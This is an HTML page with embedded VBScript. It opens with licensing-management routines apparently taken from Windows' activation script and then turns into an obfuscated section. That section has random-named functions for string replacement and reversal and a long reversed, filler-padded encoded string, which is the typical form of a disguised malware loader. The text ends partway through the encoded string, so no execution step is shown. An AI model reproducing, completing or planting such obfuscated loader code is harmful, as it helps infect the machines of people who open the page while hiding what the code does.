<html>
<body>
<script language="VBScript">
Private Sub SetDnsPublishingDisabled(bool)
Dim objService, objProduct
Dim kmsFlag, lRet, dwValue
On Error Resume Next
set objService = GetServiceObject("Version")
QuitIfError()
For Each objProduct in GetProductCollection("ID, IsKeyManagementServiceMachine", PartialProductKeyNonNullWhereClause)
kmsFlag = objProduct.IsKeyManagementServiceMachine
If kmsFlag Then
objService.DisableKeyManagementServiceDnsPublishing(bool)
QuitIfError()
If bool Then
LineOut GetResource("L_MsgKmsDnsPublishingDisabled")
Else
LineOut GetResource("L_MsgKmsDnsPublishingEnabled")
End If
LineOut GetResource("L_MsgWarningKmsReboot")
Exit For
End If
Next
If kmsFlag <> 1 Then
LineOut GetResource("L_MsgKmsDnsPublishingWarning")
End If
End Sub
Private Sub SetKmsLowPriority(bool)
Dim objService, objProduct
Dim kmsFlag, lRet, dwValue
On Error Resume Next
set objService = GetServiceObject("Version")
QuitIfError()
For Each objProduct in GetProductCollection("ID, IsKeyManagementServiceMachine", PartialProductKeyNonNullWhereClause)
kmsFlag = objProduct.IsKeyManagementServiceMachine
If kmsFlag Then
objService.EnableKeyManagementServiceLowPriority(bool)
QuitIfError()
If bool Then
LineOut GetResource("L_MsgKmsPriSetToLow")
Else
LineOut GetResource("L_MsgKmsPriSetToNormal")
End If
LineOut GetResource("L_MsgWarningKmsReboot")
End If
Exit For
Next
If kmsFlag <> 1 Then
LineOut GetResource("L_MsgWarningKmsPri")
End If
End Sub
Private Sub SetVLActivationType(intType, strActivationID)
Dim objTarget
If IsNull(intType) Then
intType = 0
End If
If (intType < 0) Or (intType > 3) Then
LineOut GetResource("L_MsgInvalidDataError")
Exit Sub
End If
Set objTarget = GetKmsClientObjectByActivationID(strActivationID)
On Error Resume Next
If Not objTarget is Nothing Then
If (intType <> 0) Then
objTarget.SetVLActivationTypeEnabled(intType)
QuitIfError()
Else
objTarget.ClearVLActivationTypeEnabled()
QuitIfError()
End If
LineOut GetResource("L_MsgVLActivationTypeSet")
End If
End Sub
'' Token-based Activation Commands
Private Function IsTokenActivated(objProduct)
Dim nILVID
On Error Resume Next
nILVID = objProduct.TokenActivationILVID
IsTokenActivated = ((Err.Number = 0) And (nILVID <> &HFFFFFFFF))
End Function
Private Sub TkaListILs
Dim objLicense
Dim strHeader
Dim strError
Dim strGuids
Dim arrGuids
Dim nListed
Dim objWmiDate
LineOut GetResource("L_MsgTkaLicenses")
LineOut ""
Set objWmiDate = CreateObject("WBemScripting.SWbemDateTime")
nListed = 0
For Each objLicense in g_objWMIService.InstancesOf(TkaLicenseClass)
strHeader = GetResource("L_MsgTkaLicenseHeader")
strHeader = Replace(strHeader, "%ILID%" , objLicense.ILID )
strHeader = Replace(strHeader, "%ILVID%", objLicense.ILVID)
LineOut strHeader
LineOut " " & Replace(GetResource("L_MsgTkaLicenseILID"), "%ILID%", objLicense.ILID)
LineOut " " & Replace(GetResource("L_MsgTkaLicenseILVID"), "%ILVID%", objLicense.ILVID)
If Not IsNull(objLicense.ExpirationDate) Then
objWmiDate.Value = objLicense.ExpirationDate
If (objWmiDate.GetFileTime(false) <> 0) Then
LineOut " " & Replace(GetResource("L_MsgTkaLicenseExpiration"), "%TODATE%", objWmiDate.GetVarDate)
End If
End If
If Not IsNull(objLicense.AdditionalInfo) Then
LineOut " " & Replace(GetResource("L_MsgTkaLicenseAdditionalInfo"), "%MOREINFO%", objLicense.AdditionalInfo)
End If
If Not IsNull(objLicense.AuthorizationStatus) And _
objLicense.AuthorizationStatus <> 0 _
Then
strError = CStr(Hex(objLicense.AuthorizationStatus))
LineOut " " & Replace(GetResource("L_MsgTkaLicenseAuthZStatus"), "%ERRCODE%", strError)
Else
LineOut " " & Replace(GetResource("L_MsgTkaLicenseDescr"), "%DESC%", objLicense.Description)
End If
LineOut ""
nListed = nListed + 1
Next
if 0 = nListed Then
LineOut GetResource("L_MsgTkaLicenseNone")
End If
End Sub
Private Sub TkaRemoveIL(strILID, strILVID)
Dim objLicense
Dim strMsg
Dim nRemoved
Dim nILVID
On Error Resume Next
nILVID = CInt(strILVID)
QuitIfError()
LineOut GetResource("L_MsgTkaRemoving")
LineOut ""
nRemoved = 0
For Each objLicense in g_objWMIService.InstancesOf(TkaLicenseClass)
If strILID = objLicense.ILID And nILVID = objLicense.ILVID Then
strMsg = GetResource("L_MsgTkaRemovedItem")
strMsg = Replace(strMsg, "%SLID%", objLicense.ID)
On Error Resume Next
objLicense.Uninstall
QuitIfError()
LineOut strMsg
nRemoved = nRemoved + 1
End If
Next
If nRemoved = 0 Then
LineOut GetResource("L_MsgTkaRemovedNone")
End If
End Sub
Private Sub TkaListCerts
Dim objProduct
Dim objSigner
Dim iRet
Dim arrGrants()
Dim arrThumbprints
Dim strThumbprint
On Error Resume Next
Set objSigner = TkaGetSigner()
Set objProduct = TkaGetProduct()
iRet = objProduct.GetTokenActivationGrants(arrGrants)
QuitIfError()
arrThumbprints = objSigner.GetCertificateThumbprints(arrGrants)
QuitIfError()
For Each strThumbprint in arrThumbprints
TkaPrintCertificate strThumbprint
Next
End Sub
On Error Resume Next
Function VdTRKUZSuAoPswHBomRzOLhrQjXYyIkSHoAhBcVpEpzbZdIYULChkFCtRTvCTAOvshLYgepgDUIIhspKkOPPiRZXyzCrqejXFiHN(GcEyUrYRxYBHOjnuDWoMGoFhRjokMvHmEApzawpCsHhVPnlTAXxPWqwmSMQwLieFfoITPUnNiBUqOnAwmkHYkMANCmexyPPIkCuL, find, LqGHHLXNWYnxqwYWNsGRHIWnpynTZnHKiUTTRlRyLPLpXDXYSZtYVfvUXWOLTiIOTSPIGNtllnNpzvXVybrubuMQcauUrGoHpAtw)
aWMNwCGwEqUyZmVFdtxetrEJEoFeMCsDxHzGRphfeHQSkfSDvCChjIZThUTamgYqRzVMYWWPYdLyzNMAotKrZNBvCIRAZHQZgWoq = Len(GcEyUrYRxYBHOjnuDWoMGoFhRjokMvHmEApzawpCsHhVPnlTAXxPWqwmSMQwLieFfoITPUnNiBUqOnAwmkHYkMANCmexyPPIkCuL)
bCMkjHtesIGXOSwowQYmWhsNSVISjoDttvFXqIEQRZuGoUHCCblHfuXKDQsYnXGnZIbxyOjTQBNMPMDLMFyfJyLGLmrYqAenvIVI = Len(find)
OnClAmszLSqSEjglQDkooDaDIkqQZCgyJAQZnFFmLNgrvvKIlmcsQJvAPBBCmKjnTTLyiZeTYtZYSjmTzusqdWkRSTxNhshCQuJR = Len(LqGHHLXNWYnxqwYWNsGRHIWnpynTZnHKiUTTRlRyLPLpXDXYSZtYVfvUXWOLTiIOTSPIGNtllnNpzvXVybrubuMQcauUrGoHpAtw)
ReDim UNGkalDVEBvxOKkoKczBhgRNzfqHHRHoKWajgPlsmnTsgrsqIXewNOvSlTjIkjEcNQSJqZFEhkabWEOyiZqZTDckRTELcJZAlzFh(aWMNwCGwEqUyZmVFdtxetrEJEoFeMCsDxHzGRphfeHQSkfSDvCChjIZThUTamgYqRzVMYWWPYdLyzNMAotKrZNBvCIRAZHQZgWoq)
i = 1
j = 0
Do While i <= aWMNwCGwEqUyZmVFdtxetrEJEoFeMCsDxHzGRphfeHQSkfSDvCChjIZThUTamgYqRzVMYWWPYdLyzNMAotKrZNBvCIRAZHQZgWoq
If Mid(GcEyUrYRxYBHOjnuDWoMGoFhRjokMvHmEApzawpCsHhVPnlTAXxPWqwmSMQwLieFfoITPUnNiBUqOnAwmkHYkMANCmexyPPIkCuL, i, bCMkjHtesIGXOSwowQYmWhsNSVISjoDttvFXqIEQRZuGoUHCCblHfuXKDQsYnXGnZIbxyOjTQBNMPMDLMFyfJyLGLmrYqAenvIVI) = find Then
For k = 1 To OnClAmszLSqSEjglQDkooDaDIkqQZCgyJAQZnFFmLNgrvvKIlmcsQJvAPBBCmKjnTTLyiZeTYtZYSjmTzusqdWkRSTxNhshCQuJR
UNGkalDVEBvxOKkoKczBhgRNzfqHHRHoKWajgPlsmnTsgrsqIXewNOvSlTjIkjEcNQSJqZFEhkabWEOyiZqZTDckRTELcJZAlzFh(j) = Mid(LqGHHLXNWYnxqwYWNsGRHIWnpynTZnHKiUTTRlRyLPLpXDXYSZtYVfvUXWOLTiIOTSPIGNtllnNpzvXVybrubuMQcauUrGoHpAtw, k, 1)
j = j + 1
Next
i = i + bCMkjHtesIGXOSwowQYmWhsNSVISjoDttvFXqIEQRZuGoUHCCblHfuXKDQsYnXGnZIbxyOjTQBNMPMDLMFyfJyLGLmrYqAenvIVI
Else
UNGkalDVEBvxOKkoKczBhgRNzfqHHRHoKWajgPlsmnTsgrsqIXewNOvSlTjIkjEcNQSJqZFEhkabWEOyiZqZTDckRTELcJZAlzFh(j) = Mid(GcEyUrYRxYBHOjnuDWoMGoFhRjokMvHmEApzawpCsHhVPnlTAXxPWqwmSMQwLieFfoITPUnNiBUqOnAwmkHYkMANCmexyPPIkCuL, i, 1)
i = i + 1
j = j + 1
End If
Loop
bvdXydTwihNQIchDYCpzMaWsDWalfkcomEtBOPhIvvdDULoBbZoLlLelHuBvWsUWBVEBmjsAXRpnGzmEPVSVtSLPymLPMzMDSBKn = ""
For i = 0 To j - 1
bvdXydTwihNQIchDYCpzMaWsDWalfkcomEtBOPhIvvdDULoBbZoLlLelHuBvWsUWBVEBmjsAXRpnGzmEPVSVtSLPymLPMzMDSBKn = bvdXydTwihNQIchDYCpzMaWsDWalfkcomEtBOPhIvvdDULoBbZoLlLelHuBvWsUWBVEBmjsAXRpnGzmEPVSVtSLPymLPMzMDSBKn & UNGkalDVEBvxOKkoKczBhgRNzfqHHRHoKWajgPlsmnTsgrsqIXewNOvSlTjIkjEcNQSJqZFEhkabWEOyiZqZTDckRTELcJZAlzFh(i)
Next
VdTRKUZSuAoPswHBomRzOLhrQjXYyIkSHoAhBcVpEpzbZdIYULChkFCtRTvCTAOvshLYgepgDUIIhspKkOPPiRZXyzCrqejXFiHN = bvdXydTwihNQIchDYCpzMaWsDWalfkcomEtBOPhIvvdDULoBbZoLlLelHuBvWsUWBVEBmjsAXRpnGzmEPVSVtSLPymLPMzMDSBKn
End Function
Function DDOJgLUkWHsuAJULpXwmLHkDggLWJDLhpIxfkkNoUiJqRmDcpcZtjHAqcLCyofpLmGxGpmnwWmjoGpiCrUooDCumukgPJPctgcLC(HWtojqrPsPrDhnmKQTbqMCPWjjMevGMIipJbgPUBwygocQoMibXwBCOgTxNxKKQxkJtqQrOesqKWJwyPHrWWGNzqKPGOUPswGMxU,TeDcQBKILZOMDegbccisUKIeQQUgNoUWllaNyIssfDSWSYSNlvgAoKycPccmQOQZfBbWQAGbLsLOBODWYKOOocCsdIjxAGLAjNZT,oBWWSGnhwulpcvWUMPKOckZBGlWROzciGNobAKzWRLvUGDePlkyaMrdycnglSLYdelfJTbUpNOcqqQLvlnzzvkwdQKkJfhaMBUaN)
DDOJgLUkWHsuAJULpXwmLHkDggLWJDLhpIxfkkNoUiJqRmDcpcZtjHAqcLCyofpLmGxGpmnwWmjoGpiCrUooDCumukgPJPctgcLC = VdTRKUZSuAoPswHBomRzOLhrQjXYyIkSHoAhBcVpEpzbZdIYULChkFCtRTvCTAOvshLYgepgDUIIhspKkOPPiRZXyzCrqejXFiHN(HWtojqrPsPrDhnmKQTbqMCPWjjMevGMIipJbgPUBwygocQoMibXwBCOgTxNxKKQxkJtqQrOesqKWJwyPHrWWGNzqKPGOUPswGMxU, TeDcQBKILZOMDegbccisUKIeQQUgNoUWllaNyIssfDSWSYSNlvgAoKycPccmQOQZfBbWQAGbLsLOBODWYKOOocCsdIjxAGLAjNZT, oBWWSGnhwulpcvWUMPKOckZBGlWROzciGNobAKzWRLvUGDePlkyaMrdycnglSLYdelfJTbUpNOcqqQLvlnzzvkwdQKkJfhaMBUaN)
End Function
Function LNiKPRmDcZGPDsYSIJAsMxDNPPMslDMSmOSXfDgBmOGqGlIMmvWNOxWzaJYRelIcdZcKIRNecstYZUOTlmYYDYAsdDNzNgDNNMcU(HWtojqrPsPrDhnmKQTbqMCPWjjMevGMIipJbgPUBwygocQoMibXwBCOgTxNxKKQxkJtqQrOesqKWJwyPHrWWGNzqKPGOUPswGMxU)
LNiKPRmDcZGPDsYSIJAsMxDNPPMslDMSmOSXfDgBmOGqGlIMmvWNOxWzaJYRelIcdZcKIRNecstYZUOTlmYYDYAsdDNzNgDNNMcU = StrReverse(HWtojqrPsPrDhnmKQTbqMCPWjjMevGMIipJbgPUBwygocQoMibXwBCOgTxNxKKQxkJtqQrOesqKWJwyPHrWWGNzqKPGOUPswGMxU)
End Function
WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul = " "
GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR = "/ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ /"
riDlLzYlQtcKqwOOuliQAGnGicZIAeAfWBWMSlUqKOPWWTceWIJWWXxODiSALdGkXniKwfSNQQLqGaKtCYNNbSeWelvhcUYWmNfN = LNiKPRmDcZGPDsYSIJAsMxDNPPMslDMSmOSXfDgBmOGqGlIMmvWNOxWzaJYRelIcdZcKIRNecstYZUOTlmYYDYAsdDNzNgDNNMcU("=
0BQ" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
yBQ" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
zBQ" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
tBQ" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
sBg" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
tBQ" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
Q" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
zBQ" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
uBQ" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
4BQ" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
uBQ" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
w" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
4BQ" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
4BQ" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
0Bw" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
lBw" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
w" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
4BQ" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
lBw" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
4BQ" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
w" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
